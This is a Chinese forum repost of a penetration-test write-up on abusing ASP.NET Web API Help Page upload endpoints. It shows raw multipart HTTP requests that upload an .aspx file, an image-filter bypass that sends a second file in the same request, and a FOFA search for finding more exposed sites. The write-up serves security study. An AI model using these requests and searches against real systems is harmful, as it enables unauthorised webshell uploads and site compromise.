安全矩阵

 找回密码
 立即注册
搜索
查看: 926|回复: 0

利用ASP.NET Web API Help Page文件上传

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2022-9-18 20:48:22 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2022-9-18 20:48 编辑


利用ASP.NET Web API Help Page文件上传
原文链接:利用ASP.NET Web API Help Page文件上传
Fright一Moch 衡阳信安 2022-09-18 06:00 发表于山东
利用ASP.NET Web API Help Page文件上传
免责说明:
由于传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我会立即删除并致歉,谢谢!
0x0前言
前段时间在一次攻防演练中发现有几个资产目标使用的是ASP.NET Web API,当时以为是一个简单的未授权漏洞,后面想着可不可以利用帮助文档中的upload上传接口,对数据包进行一个简单的构造进行一个文件上传呢,于是产生了这篇文章
0x1关于ASP.NET Web API
根据Microsoft官方文档给出的解释如下:The ASP.NET Web API Help Page automatically generates help page content for the web APIs on your site. Visitors to your help page can use this content to learn how to call your web APIs. Everything generated by the help page is fully customizable using ASP.NET MVC and Razor. ASP.NET Web API Help Page is a great addition to any ASP.NET Web API project.
简单来说就是:ASP.NET Web API 帮助页面是任何 ASP.NET Web API 项目的绝佳补充
那么创建ASP.NET Web API 创建帮助页面有什么用呢?根据Microsoft给出的解释如下:When you create a web API, it is often useful to create a help page, so that other developers will know how to call your API. You could create all of the documentation manually, but it is better to autogenerate as much as possible. To make this task easier, ASP.NET Web API provides a library for auto-generating help pages at run time.
最后得到的界面如下
编辑
又或者是如下
编辑
0x2寻找突破口
我们此次需要构造的是文件上传包,我们全局搜索upload、上传、文件,file等相关字样
编辑
可以看到如图所示我们找到了相关的字样
编辑
根据文档提示:我们可以看出此处文档上传构造方式也比较简单,那么我们接下来就要进行一个post参数的构造,手工构造比较麻烦,这时候我想起了开发者常用的一个工具postman,关于postman,我在这里也简单进行一个介绍:Postman是一个接口测试工具,在做接口测试的时候,Postman相当于一个客户端,它可以模拟用户发起的各类HTTP请求,将请求数据发送至服务端,获取对应的响应结果, 从而验证响应中的结果数据是否和预期值相匹配;并确保开发人员能够及时处理接口中的bug,进而保证产品上线之后的稳定性和安全性。它主要是用来模拟各种HTTP请求的(如:get/post/delete/put..等等),Postman与浏览器的区别在于有的浏览器不能输出Json格式,而Postman更直观接口返回的结果。
0X3开始构造
关于如何使用,我这里引用了一遍博主的文章文章地址如下
https://blog.csdn.net/weixin_48421613/article/details/118356645
编辑
最后选择send发送
编辑
编辑
可以看出我们此时的文件已经上传成功,但是路径找不到先简单fuzz一波
经过简单的fuzz我得到了一个叫UpLoadFiles路径
这不得不佩服我的字典的强大,当然也归功于平时的归纳总结
http://192.168.22.23/UpLoadFiles/20220907112814test11.aspx
编辑
通过对postman代理的设置
编辑
我们抓包看一下这个数据包的构成
  1. POST /xxxx/ImgFormUpload HTTP/1.1
  2. User-Agent: PostmanRuntime/7.29.2
  3. Accept: */*
  4. Postman-Token: xxxxxxxxxxxxx
  5. Host: 192.168.22.23
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Content-Type: multipart/form-data; boundary=--------------------------997110380267407431328989
  9. Content-Length: 255

  10. ----------------------------997110380267407431328989
  11. Content-Disposition: form-data; name=""; filename="test11.aspx"
  12. Content-Type: application/octet-stream

  13. <% response.write ("Hello World")%>
  14. ----------------------------997110380267407431328989--
复制代码

用burp重放一下
编辑
这不得思考一个问题?这次是路径是我自己fuzz出来的,有没有其他的接口能直接返回路径呢?
0x4寻找其他接口
经过一番的寻找,我找到了一处
编辑
发现这里根本只能上传图片
编辑
尝试上传图片试一下
编辑
可以看出上传图片返回了路径,想办法绕过经过一番实验,我发现可以使用asp站点经常使用的双文件上传绕过
构造如下
编辑
此时的数据包如下
  1. POST /xxxxx/UpLoadImgToNews HTTP/1.1
  2. User-Agent: PostmanRuntime/7.29.2
  3. Accept: */*
  4. Postman-Token: xxxxxxxxxxxxxxx
  5. Host: 192.168.22.23
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Content-Type: multipart/form-data; boundary=--------------------------747868501381474511362162
  9. Content-Length: 6482

  10. ----------------------------747868501381474511362162
  11. Content-Disposition: form-data; name=""; filename="test11.aspx"
  12. Content-Type: application/octet-stream

  13. <% response.write ("Hello World")%>
  14. ----------------------------747868501381474511362162
  15. Content-Disposition: form-data; name=""; filename="hha.jpg"
  16. Content-Type: image/jpeg

  17. ¹6¼Ü‹–íÔã0ØpáaËĵCd®z á¡édXluH#q^ɗwfD¼«¯
  18. Š’N Oî¬!UbµesKyìEËr߂èP‘‚ÔàÂÐNê¨!õ­ÒöÑðÊÂ¥_f_ëÚq¹=jà?“&¶^ìŒ
  19. Ru!ö{#füi_øSᏎ/éw
  20. ï;°œôì «¬¦_d¡¤Sȵ!u€C´—ØY¬=ÇøÔ    ¸ŠÏ(ˆ
  21. ----------------------------747868501381474511362162--
复制代码

返回包
  1. HTTP/1.1 200 OK
  2. Cache-Control: no-cache
  3. Pragma: no-cache
  4. Content-Type: application/json; charset=utf-8
  5. Expires: -1
  6. Server: Microsoft-IIS/8.5
  7. X-AspNet-Version: 4.0.30319
  8. X-Powered-By: ASP.NET
  9. Access-Control-Allow-Origin: *
  10. Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
  11. Access-Control-Allow-Headers: Content-Type,Origin, X-Requested-With
  12. Date: Wed, 07 Sep 2022 04:29:16 GMT
  13. Connection: close
  14. Content-Length: 26

  15. "/upload/20220907/hha.jpg"
复制代码

木马路径:http://192.168.22.23//upload/20220907/test11.aspx
编辑
0x5fofa批量搜索
fofa:"Web API " && icon_hash="1772087922"
编辑
经过随机测试了几个网站发现都可以用此类似的方法进行一个文件上传,有些站点直接返回路径
test1:
编辑
postman构造请求
编辑
  1. POST /api/Files/PostFiles HTTP/1.1
  2. User-Agent: PostmanRuntime/7.29.2
  3. Accept: */*
  4. Postman-Token: xxxxxxxxxxxxxxx
  5. Host: xxxxxxxxxxx
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Content-Type: multipart/form-data; boundary=--------------------------076647936634298195979552
  9. Content-Length: 255

  10. ----------------------------076647936634298195979552
  11. Content-Disposition: form-data; name=""; filename="test11.aspx"
  12. Content-Type: application/octet-stream

  13. <% response.write ("Hello World")%>
  14. ----------------------------076647936634298195979552--
复制代码

编辑
0x6最后
总结一下:
0x1:如果网站有鉴权这需要利用其他接口获取管理员token,有的可以,有的不行
0x2:个人感觉这个洞比较鸡肋,因为现在很多网站都做了鉴权处理,一定程度上还需要运气

参考文章
https://blog.csdn.net/weixin_48421613/article/details/118356645
https://docs.microsoft.com/en-us ... ting-api-help-pages
https://zhuanlan.zhihu.com/p/502968186
https://xz.aliyun.com/t/5883
来源:先知(https://xz.aliyun.com/t/11697#toc-0)
注:如有侵权请联系删除






回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 11:27 , Processed in 0.014919 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表